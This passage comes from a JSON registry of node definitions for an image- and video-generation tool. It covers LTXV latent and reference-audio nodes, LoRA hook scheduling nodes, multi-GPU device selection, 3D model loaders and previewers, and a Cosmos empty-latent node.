"description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVSeparateAVLatent": {"input": {"required": {"av_latent": ["LATENT", {}]}}, "input_order": {"required": ["av_latent"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["video_latent", "audio_latent"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LTXVSeparateAVLatent", "display_name": null, "description": "LTXV Separate AV Latent", "python_module": "comfy_extras.nodes_lt", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVReferenceAudio": {"input": {"required": {"model": ["MODEL", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "reference_audio": ["AUDIO", {"tooltip": "Reference audio clip whose speaker identity to transfer. ~5 seconds recommended (training duration). Shorter or longer clips may degrade voice identity transfer."}], "audio_vae": ["VAE", {"display_name": "Audio VAE", "tooltip": "LTXV Audio VAE for encoding."}], "identity_guidance_scale": ["FLOAT", {"tooltip": "Strength of identity guidance. Runs an extra forward pass without reference each step to amplify speaker identity. Set to 0 to disable (no extra pass).", "default": 3.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": 0.01}], "start_percent": ["FLOAT", {"tooltip": "Start of the sigma range where identity guidance is active.", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"tooltip": "End of the sigma range where identity guidance is active.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["model", "positive", "negative", "reference_audio", "audio_vae", "identity_guidance_scale", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["MODEL", "CONDITIONING", "CONDITIONING"], "output_is_list": [false, false, false], "output_name": ["MODEL", "positive", "negative"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "LTXVReferenceAudio", "display_name": "LTXV Reference Audio (ID-LoRA)", "description": "Set reference audio for ID-LoRA speaker identity transfer. Encodes a reference audio clip into the conditioning and optionally patches the model with identity guidance (extra forward pass without reference, amplifying the speaker identity effect).", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CreateHookLora": {"input": {"required": {"lora_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}], "strength_clip": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}]}, "optional": {"prev_hooks": ["HOOKS"]}}, "input_order": {"required": ["lora_name", "strength_model", "strength_clip"], "optional": ["prev_hooks"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CreateHookLora", "display_name": "Create Hook LoRA", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/create", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CreateHookLoraModelOnly": {"input": {"required": {"lora_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}]}, "optional": {"prev_hooks": ["HOOKS"]}}, "input_order": {"required": ["lora_name", "strength_model"], "optional": ["prev_hooks"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CreateHookLoraModelOnly", "display_name": "Create Hook LoRA (MO)", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/create", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CreateHookModelAsLora": {"input": {"required": {"ckpt_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}], "strength_clip": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}]}, "optional": {"prev_hooks": ["HOOKS"]}}, "input_order": {"required": ["ckpt_name", "strength_model", "strength_clip"], "optional": ["prev_hooks"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CreateHookModelAsLora", "display_name": "Create Hook Model as LoRA", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/create", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CreateHookModelAsLoraModelOnly": {"input": {"required": {"ckpt_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}]}, "optional": {"prev_hooks": ["HOOKS"]}}, "input_order": {"required": ["ckpt_name", "strength_model"], "optional": ["prev_hooks"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CreateHookModelAsLoraModelOnly", "display_name": "Create Hook Model as LoRA (MO)", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/create", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "SetHookKeyframes": {"input": {"required": {"hooks": ["HOOKS"]}, "optional": {"hook_kf": ["HOOK_KEYFRAMES"]}}, "input_order": {"required": ["hooks"], "optional": ["hook_kf"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "SetHookKeyframes", "display_name": "Set Hook Keyframes", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/scheduling", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CreateHookKeyframe": {"input": {"required": {"strength_mult": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}]}, "optional": {"prev_hook_kf": ["HOOK_KEYFRAMES"]}}, "input_order": {"required": ["strength_mult", "start_percent"], "optional": ["prev_hook_kf"]}, "is_input_list": false, "output": ["HOOK_KEYFRAMES"], "output_is_list": [false], "output_name": ["HOOK_KF"], "name": "CreateHookKeyframe", "display_name": "Create Hook Keyframe", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/scheduling", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["hook scheduling", "strength animation", "timed hook"]}, "CreateHookKeyframesInterpolated": {"input": {"required": {"strength_start": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.001}], "strength_end": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.001}], "interpolation": [["linear", "ease_in", "ease_out", "ease_in_out"]], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}], "keyframes_count": ["INT", {"default": 5, "min": 2, "max": 100, "step": 1}], "print_keyframes": ["BOOLEAN", {"default": false, "advanced": true}]}, "optional": {"prev_hook_kf": ["HOOK_KEYFRAMES"]}}, "input_order": {"required": ["strength_start", "strength_end", "interpolation", "start_percent", "end_percent", "keyframes_count", "print_keyframes"], "optional": ["prev_hook_kf"]}, "is_input_list": false, "output": ["HOOK_KEYFRAMES"], "output_is_list": [false], "output_name": ["HOOK_KF"], "name": "CreateHookKeyframesInterpolated", "display_name": "Create Hook Keyframes Interp.", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/scheduling", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["ease hook strength", "smooth hook transition", "interpolate keyframes"]}, "CreateHookKeyframesFromFloats": {"input": {"required": {"floats_strength": ["FLOATS", {"default": -1, "min": -1, "step": 0.001, "forceInput": true}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}], "print_keyframes": ["BOOLEAN", {"default": false, "advanced": true}]}, "optional": {"prev_hook_kf": ["HOOK_KEYFRAMES"]}}, "input_order": {"required": ["floats_strength", "start_percent", "end_percent", "print_keyframes"], "optional": ["prev_hook_kf"]}, "is_input_list": false, "output": ["HOOK_KEYFRAMES"], "output_is_list": [false], "output_name": ["HOOK_KF"], "name": "CreateHookKeyframesFromFloats", "display_name": "Create Hook Keyframes From Floats", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/scheduling", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["batch keyframes", "strength list to keyframes"]}, "CombineHooks2": {"input": {"required": {}, "optional": {"hooks_A": ["HOOKS"], "hooks_B": ["HOOKS"]}}, "input_order": {"required": [], "optional": ["hooks_A", "hooks_B"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CombineHooks2", "display_name": "Combine Hooks [2]", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/combine", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["merge hooks"]}, "CombineHooks4": {"input": {"required": {}, "optional": {"hooks_A": ["HOOKS"], "hooks_B": ["HOOKS"], "hooks_C": ["HOOKS"], "hooks_D": ["HOOKS"]}}, "input_order": {"required": [], "optional": ["hooks_A", "hooks_B", "hooks_C", "hooks_D"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CombineHooks4", "display_name": "Combine Hooks [4]", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/combine", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CombineHooks8": {"input": {"required": {}, "optional": {"hooks_A": ["HOOKS"], "hooks_B": ["HOOKS"], "hooks_C": ["HOOKS"], "hooks_D": ["HOOKS"], "hooks_E": ["HOOKS"], "hooks_F": ["HOOKS"], "hooks_G": ["HOOKS"], "hooks_H": ["HOOKS"]}}, "input_order": {"required": [], "optional": ["hooks_A", "hooks_B", "hooks_C", "hooks_D", "hooks_E", "hooks_F", "hooks_G", "hooks_H"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CombineHooks8", "display_name": "Combine Hooks [8]", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/combine", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ConditioningSetProperties": {"input": {"required": {"cond_NEW": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}, "optional": {"mask": ["MASK"], "hooks": ["HOOKS"], "timesteps": ["TIMESTEPS_RANGE"]}}, "input_order": {"required": ["cond_NEW", "strength", "set_cond_area"], "optional": ["mask", "hooks", "timesteps"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetProperties", "display_name": "Cond Set Props", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond single", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ConditioningSetPropertiesAndCombine": {"input": {"required": {"cond": ["CONDITIONING"], "cond_NEW": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}, "optional": {"mask": ["MASK"], "hooks": ["HOOKS"], "timesteps": ["TIMESTEPS_RANGE"]}}, "input_order": {"required": ["cond", "cond_NEW", "strength", "set_cond_area"], "optional": ["mask", "hooks", "timesteps"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetPropertiesAndCombine", "display_name": "Cond Set Props Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond single", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "PairConditioningSetProperties": {"input": {"required": {"positive_NEW": ["CONDITIONING"], "negative_NEW": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}, "optional": {"mask": ["MASK"], "hooks": ["HOOKS"], "timesteps": ["TIMESTEPS_RANGE"]}}, "input_order": {"required": ["positive_NEW", "negative_NEW", "strength", "set_cond_area"], "optional": ["mask", "hooks", "timesteps"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "PairConditioningSetProperties", "display_name": "Cond Pair Set Props", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond pair", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "PairConditioningSetPropertiesAndCombine": {"input": {"required": {"positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "positive_NEW": ["CONDITIONING"], "negative_NEW": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}, "optional": {"mask": ["MASK"], "hooks": ["HOOKS"], "timesteps": ["TIMESTEPS_RANGE"]}}, "input_order": {"required": ["positive", "negative", "positive_NEW", "negative_NEW", "strength", "set_cond_area"], "optional": ["mask", "hooks", "timesteps"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "PairConditioningSetPropertiesAndCombine", "display_name": "Cond Pair Set Props Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond pair", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ConditioningSetDefaultCombine": {"input": {"required": {"cond": ["CONDITIONING"], "cond_DEFAULT": ["CONDITIONING"]}, "optional": {"hooks": ["HOOKS"]}}, "input_order": {"required": ["cond", "cond_DEFAULT"], "optional": ["hooks"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetDefaultCombine", "display_name": "Cond Set Default Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond single", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "PairConditioningSetDefaultCombine": {"input": {"required": {"positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "positive_DEFAULT": ["CONDITIONING"], "negative_DEFAULT": ["CONDITIONING"]}, "optional": {"hooks": ["HOOKS"]}}, "input_order": {"required": ["positive", "negative", "positive_DEFAULT", "negative_DEFAULT"], "optional": ["hooks"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "PairConditioningSetDefaultCombine", "display_name": "Cond Pair Set Default Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond pair", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "PairConditioningCombine": {"input": {"required": {"positive_A": ["CONDITIONING"], "negative_A": ["CONDITIONING"], "positive_B": ["CONDITIONING"], "negative_B": ["CONDITIONING"]}}, "input_order": {"required": ["positive_A", "negative_A", "positive_B", "negative_B"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "PairConditioningCombine", "display_name": "Cond Pair Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond pair", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "SetClipHooks": {"input": {"required": {"clip": ["CLIP"], "apply_to_conds": ["BOOLEAN", {"default": true, "advanced": true}], "schedule_clip": ["BOOLEAN", {"default": false, "advanced": true}]}, "optional": {"hooks": ["HOOKS"]}}, "input_order": {"required": ["clip", "apply_to_conds", "schedule_clip"], "optional": ["hooks"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "SetClipHooks", "display_name": "Set CLIP Hooks", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/clip", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ConditioningTimestepsRange": {"input": {"required": {"start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["start_percent", "end_percent"]}, "is_input_list": false, "output": ["TIMESTEPS_RANGE", "TIMESTEPS_RANGE", "TIMESTEPS_RANGE"], "output_is_list": [false, false, false], "output_name": ["TIMESTEPS_RANGE", "BEFORE_RANGE", "AFTER_RANGE"], "name": "ConditioningTimestepsRange", "display_name": "Timesteps Range", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["prompt scheduling", "timestep segments", "conditioning phases"]}, "MultiGPU_WorkUnits": {"input": {"required": {"model": ["MODEL", {}], "max_gpus": ["INT", {"default": 2, "min": 1, "step": 1}]}}, "input_order": {"required": ["model", "max_gpus"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "MultiGPU_WorkUnits", "display_name": "MultiGPU CFG Split", "description": "Prepares model to have sampling accelerated via splitting work units.\n\nShould be placed after nodes that modify the model object itself, such as compile or attention-switch nodes.\n\nOther than those exceptions, this node can be placed in any order.", "python_module": "comfy_extras.nodes_multigpu", "category": "advanced/multigpu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SelectModelDevice": {"input": {"required": {"model": ["MODEL", {}], "device": ["COMBO", {"multiselect": false, "options": ["default", "cpu"]}]}}, "input_order": {"required": ["model", "device"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SelectModelDevice", "display_name": "Select Model Device", "description": "Place the diffusion model on a specific device (default / cpu / gpu:N).\n\n- \"default\" restores the device assigned by the loader (even after a\n prior Select Model Device call).\n- \"cpu\" pins both the load and offload device to CPU.\n- \"gpu:N\" pins the load device to the Nth available GPU; the offload\n device is restored to the loader's original choice.\n\nWhen the requested device differs from the device the input model is\nalready on, a fresh model is spawned via the loader's reload factory\n(cached_patcher_init) so the new patcher owns independent weights on\nthe new device. Loaders that don't support multigpu (no factory) will\ncause the node to pass through unchanged with a warning.\n\nIf the workflow already has MultiGPU CFG Split applied and the chosen\nGPU collides with one of the existing multigpu clones, that clone is\ndropped so two patchers don't end up bound to the same device.\n\nWhen the selected device does not exist on the current machine\n(e.g. a workflow built on a 2-GPU box opened on a 1-GPU box),\nthe node passes the model through unchanged and logs a message\ninstead of failing.\n\nNOTE: Placing Select Model Device *after* a node that has already\nconsumed the same model (e.g. a KSampler that ran on this model on\nthe original device) is not recommended -- any state the prior\nconsumer mutated on the original model will be observed when the\nselected device matches the original (fast path). Place Select Model\nDevice before any consumer of the model.", "python_module": "comfy_extras.nodes_multigpu", "category": "advanced/multigpu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SelectCLIPDevice": {"input": {"required": {"clip": ["CLIP", {}], "device": ["COMBO", {"multiselect": false, "options": ["default", "cpu"]}]}}, "input_order": {"required": ["clip", "device"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "SelectCLIPDevice", "display_name": "Select CLIP Device", "description": "Place the CLIP text encoder on a specific device (default / cpu / gpu:N).\n\n- \"default\" restores the device assigned by the loader.\n- \"cpu\" pins both the load and offload device to CPU.\n- \"gpu:N\" pins the load device to the Nth available GPU.\n\nWhen the selected device does not exist on the current machine\n(e.g. a workflow built on a 2-GPU box opened on a 1-GPU box),\nthe node passes the CLIP through unchanged and logs a message\ninstead of failing.", "python_module": "comfy_extras.nodes_multigpu", "category": "advanced/multigpu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SelectVAEDevice": {"input": {"required": {"vae": ["VAE", {}], "device": ["COMBO", {"multiselect": false, "options": ["default"]}]}}, "input_order": {"required": ["vae", "device"]}, "is_input_list": false, "output": ["VAE"], "output_is_list": [false], "output_name": ["VAE"], "output_tooltips": [null], "output_matchtypes": null, "name": "SelectVAEDevice", "display_name": "Select VAE Device", "description": "Place the VAE on a specific device (default / gpu:N).\n\n- \"default\" restores the device assigned by the loader.\n- \"gpu:N\" pins the load device to the Nth available GPU; the offload\n device is set to the standard VAE offload device.\n\nCPU is intentionally not exposed in the UI for the VAE; if a workflow\nsupplies \"cpu\" anyway (e.g. opened from another machine), the request\nis dropped with a log message and the VAE is passed through unchanged.\n\nWhen the selected device does not exist on the current machine\n(e.g. a workflow built on a 2-GPU box opened on a 1-GPU box),\nthe node passes the VAE through unchanged and logs a message\ninstead of failing.", "python_module": "comfy_extras.nodes_multigpu", "category": "advanced/multigpu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Load3D": {"input": {"required": {"model_file": ["COMBO", {"multiselect": false, "options": ["none"], "file_upload": true}], "image": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}}, "input_order": {"required": ["model_file", "image", "width", "height"]}, "is_input_list": false, "output": ["IMAGE", "MASK", "STRING", "IMAGE", "LOAD3D_CAMERA", "VIDEO", "FILE_3D", "LOAD3D_MODEL_INFO"], "output_is_list": [false, false, false, false, false, false, false, false], "output_name": ["image", "mask", "mesh_path", "normal", "camera_info", "recording_video", "model_3d", "model_3d_info"], "output_tooltips": [null, null, null, null, null, null, null, null], "output_matchtypes": null, "name": "Load3D", "display_name": "Load 3D & Animation", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": "Basics", "has_intermediate_output": false}, "Load3DAdvanced": {"input": {"required": {"model_file": ["COMBO", {"multiselect": false, "options": ["none"], "file_upload": true}], "viewport_state": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}}, "input_order": {"required": ["model_file", "viewport_state", "width", "height"]}, "is_input_list": false, "output": ["FILE_3D", "LOAD3D_MODEL_INFO", "LOAD3D_CAMERA", "INT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model_3d", "model_3d_info", "camera_info", "width", "height"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "Load3DAdvanced", "display_name": "Load 3D (Advanced)", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["load mesh", "load gltf", "load glb", "load obj", "load fbx", "load stl"], "essentials_category": null, "has_intermediate_output": false}, "Preview3D": {"input": {"required": {"model_file": ["STRING,FILE_3D_GLB,FILE_3D_GLTF,FILE_3D_FBX,FILE_3D_OBJ,FILE_3D_STL,FILE_3D_USDZ,FILE_3D", {"default": "", "widgetType": "STRING", "multiline": false, "tooltip": "3D model file or path string"}]}, "optional": {"camera_info": ["LOAD3D_CAMERA", {"advanced": true}], "bg_image": ["IMAGE", {"advanced": true}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_file"], "optional": ["camera_info", "bg_image"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "Preview3D", "display_name": "Preview 3D & Animation", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["view mesh", "3d viewer"], "essentials_category": null, "has_intermediate_output": false}, "Preview3DAdvanced": {"input": {"required": {"model_3d": ["FILE_3D_GLB,FILE_3D_GLTF,FILE_3D_FBX,FILE_3D_OBJ,FILE_3D_STL,FILE_3D_USDZ,FILE_3D", {"tooltip": "3D model file from an upstream 3D node."}], "viewport_state": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}, "optional": {"model_3d_info": ["LOAD3D_MODEL_INFO", {"advanced": true}], "camera_info": ["LOAD3D_CAMERA", {"advanced": true}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_3d", "viewport_state", "width", "height"], "optional": ["model_3d_info", "camera_info"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["FILE_3D", "LOAD3D_MODEL_INFO", "LOAD3D_CAMERA", "INT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model_3d", "model_3d_info", "camera_info", "width", "height"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "Preview3DAdvanced", "display_name": "Preview 3D (Advanced)", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["preview 3d", "3d viewer", "view mesh", "frame 3d", "3d camera output"], "essentials_category": null, "has_intermediate_output": false}, "PreviewGaussianSplat": {"input": {"required": {"model_3d": ["FILE_3D_SPLAT_ANY,FILE_3D_PLY,FILE_3D_SPLAT,FILE_3D_SPZ,FILE_3D_KSPLAT", {"tooltip": "A gaussian splat 3D file."}], "viewport_state": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}, "optional": {"model_3d_info": ["LOAD3D_MODEL_INFO", {"advanced": true}], "camera_info": ["LOAD3D_CAMERA", {"advanced": true}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_3d", "viewport_state", "width", "height"], "optional": ["model_3d_info", "camera_info"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["FILE_3D_SPLAT_ANY", "LOAD3D_MODEL_INFO", "LOAD3D_CAMERA", "INT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model_3d", "model_3d_info", "camera_info", "width", "height"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "PreviewGaussianSplat", "display_name": "Preview Splat", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["view splat", "view gaussian", "view gaussian splat", "preview gaussian", "preview gaussian splat", "view 3dgs", "preview 3dgs", "preview ply", "preview spz", "preview splat", "preview ksplat"], "essentials_category": null, "has_intermediate_output": false}, "PreviewPointCloud": {"input": {"required": {"model_3d": ["FILE_3D_POINT_CLOUD_ANY,FILE_3D_PLY", {"tooltip": "Point cloud file (.ply)"}], "viewport_state": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}, "optional": {"model_3d_info": ["LOAD3D_MODEL_INFO", {"advanced": true}], "camera_info": ["LOAD3D_CAMERA", {"advanced": true}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_3d", "viewport_state", "width", "height"], "optional": ["model_3d_info", "camera_info"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["FILE_3D_POINT_CLOUD_ANY", "LOAD3D_MODEL_INFO", "LOAD3D_CAMERA", "INT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model_3d", "model_3d_info", "camera_info", "width", "height"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "PreviewPointCloud", "display_name": "Preview Point Cloud", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["view point cloud", "view pointcloud", "preview point cloud", "preview pointcloud", "preview ply"], "essentials_category": null, "has_intermediate_output": false}, "EmptyCosmosLatentVideo": {"input": {"required": {"width": ["INT", {"default": 1280, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 704, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 121, "min": 1, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyCosmosLatentVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cosmos", "category": "model/latent/cosmos", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, 